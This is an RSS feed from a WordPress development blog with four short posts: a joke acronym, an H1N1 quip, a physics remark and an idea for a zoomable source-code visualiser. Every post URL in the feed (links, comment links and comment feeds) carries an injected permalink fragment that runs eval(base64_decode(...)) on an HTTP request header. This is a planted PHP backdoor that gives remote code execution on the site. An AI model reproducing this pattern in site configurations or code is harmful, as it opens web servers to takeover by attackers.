<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>Automagic Musings &#187; Development</title>
	<atom:link href="http://hewo.xedoloh.com/category/dev/feed/" rel="self" type="application/rss+xml" />
	<link>http://hewo.xedoloh.com</link>
	<description>I know code fu.</description>
	<lastBuildDate>Thu, 18 Feb 2010 16:17:25 +0000</lastBuildDate>
	<generator>http://wordpress.org/?v=2.8.2</generator>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
			<item>
		<title>LUITMW: New Internet Meme</title>
		<link>http://hewo.xedoloh.com/2010/02/18/new-internet-meme/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/</link>
		<comments>http://hewo.xedoloh.com/2010/02/18/new-internet-meme/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/#comments</comments>
		<pubDate>Thu, 18 Feb 2010 16:17:05 +0000</pubDate>
		<dc:creator>wbic16</dc:creator>
				<category><![CDATA[Development]]></category>

		<guid isPermaLink="false">http://hewo.xedoloh.com/?p=50</guid>
		<description><![CDATA[My co-worker (Jeff) and I were discussing the disparity between people who say &#8220;LOL&#8221; in IM but are, in fact, not laughing out loud.  He suggested that it was really laughing internally loudly, so I suggested LiL.  I then told him that when I do so, I am laughing uproariously in the machine [...]]]></description>
			<content:encoded><![CDATA[<p>My co-worker (Jeff) and I were discussing the disparity between people who say &#8220;LOL&#8221; in IM but are, in fact, not laughing out loud.  He suggested that it was really laughing internally loudly, so I suggested LiL.  I then told him that when I do so, I am laughing uproariously in the machine world.</p>
<p>Jeff then coined this term: <strong>LUITMW</strong>.  Go forth and copy Interwebs!</p>
]]></content:encoded>
			<wfw:commentRss>http://hewo.xedoloh.com/2010/02/18/new-internet-meme/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Google is the new H1N1 plan</title>
		<link>http://hewo.xedoloh.com/2009/10/21/google-is-the-new-h1n1-plan/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/</link>
		<comments>http://hewo.xedoloh.com/2009/10/21/google-is-the-new-h1n1-plan/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/#comments</comments>
		<pubDate>Wed, 21 Oct 2009 17:15:22 +0000</pubDate>
		<dc:creator>wbic16</dc:creator>
				<category><![CDATA[Development]]></category>

		<guid isPermaLink="false">http://hewo.xedoloh.com/?p=48</guid>
		<description><![CDATA[Being health-conscious in 2009 apparently boils down to saving yourself from H1N1.  Since many health efforts are rooted in fear of H1N1, I&#8217;m saying that Google is the new H1N1 plan.  Substitute H1N1 for health in this Dilbert comic: http://dilbert.com/2007-02-18.
]]></description>
			<content:encoded><![CDATA[<p>Being health-conscious in 2009 apparently boils down to saving yourself from H1N1.  Since many health efforts are rooted in fear of H1N1, I&#8217;m saying that Google is the new H1N1 plan.  Substitute H1N1 for health in this Dilbert comic: http://dilbert.com/2007-02-18.</p>
]]></content:encoded>
			<wfw:commentRss>http://hewo.xedoloh.com/2009/10/21/google-is-the-new-h1n1-plan/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/feed/</wfw:commentRss>
		<slash:comments>1</slash:comments>
		</item>
		<item>
		<title>Near Zero K Quantum Voodoo</title>
		<link>http://hewo.xedoloh.com/2009/10/15/near-zero-k-quantum-voodoo/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/</link>
		<comments>http://hewo.xedoloh.com/2009/10/15/near-zero-k-quantum-voodoo/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/#comments</comments>
		<pubDate>Thu, 15 Oct 2009 16:06:17 +0000</pubDate>
		<dc:creator>wbic16</dc:creator>
				<category><![CDATA[Development]]></category>

		<guid isPermaLink="false">http://hewo.xedoloh.com/?p=45</guid>
		<description><![CDATA[Sometimes modern physics is best described in terms of magic.]]></description>
			<content:encoded><![CDATA[<p>While discussing recent physics work that involves quasiparticles and the apparent observation of magnetic monopolism with Chris Arnold, I thought it was appropriate to reduce the description of said research to &#8220;near-zero-K quantum voodoo&#8221;.  It seems quite appropriate.</p>
<p>Source: http://physicsworld.com/cws/article/news/40302</p>
]]></content:encoded>
			<wfw:commentRss>http://hewo.xedoloh.com/2009/10/15/near-zero-k-quantum-voodoo/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Code Mountain</title>
		<link>http://hewo.xedoloh.com/2007/11/28/code-mountain/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/</link>
		<comments>http://hewo.xedoloh.com/2007/11/28/code-mountain/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/#comments</comments>
		<pubDate>Wed, 28 Nov 2007 22:07:26 +0000</pubDate>
		<dc:creator>wbic16</dc:creator>
				<category><![CDATA[Development]]></category>
		<category><![CDATA[Ideas]]></category>
		<category><![CDATA[News]]></category>
		<category><![CDATA[Expose]]></category>
		<category><![CDATA[OS X]]></category>
		<category><![CDATA[source code]]></category>
		<category><![CDATA[tag cloud]]></category>
		<category><![CDATA[VIM]]></category>
		<category><![CDATA[visualization]]></category>
		<category><![CDATA[zoom]]></category>

		<guid isPermaLink="false">http://hewo.xedoloh.com/?p=12</guid>
		<description><![CDATA[I came up with an idea this afternoon for a source code visualizer for Enterprise solutions.  Basically it would provide a source code cloud built from files and their dependencies.  Each cloud would be a logical block (function, if-statement, loop, etc.) and the user would be able to zoom in/out to any level [...]]]></description>
			<content:encoded><![CDATA[<p>I came up with an idea this afternoon for a source code visualizer for Enterprise solutions.  Basically it would provide a source code cloud built from files and their dependencies.  Each cloud would be a logical block (function, if-statement, loop, etc.) and the user would be able to zoom in/out to any level as needed.  You would then work on an application as a whole rather than on a set of files.  Everything would still be saved out to standard files, but the entire application would be accessible in a visual manner that wouldn&#8217;t require lots of commands to open and close said files.</p>
<p>Basically I want to be able to quickly move between parts of a project using the Mac OS X Expose feature, but without subjecting myself to Mac OS X.  I also want seamless integration with VIM.  CloudVIM if you will&#8230;</p>
<p>The app would also tie into another idea I had a while back: multi-history versioning for files.  Basically I want to be able to view the state of a file at any given point during my editing session, even if that means branching into multiple edit histories.  Combining these ideas into CloudVIM would allow a developer to easily navigate to any source code at any time within a specified timespan.  Coupled with SVN for storage this would provide a powerful debugging model I think.</p>
<p>We need a good use for 1TB hard disks anyway.</p>
]]></content:encoded>
			<wfw:commentRss>http://hewo.xedoloh.com/2007/11/28/code-mountain/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
	</channel>
</rss>
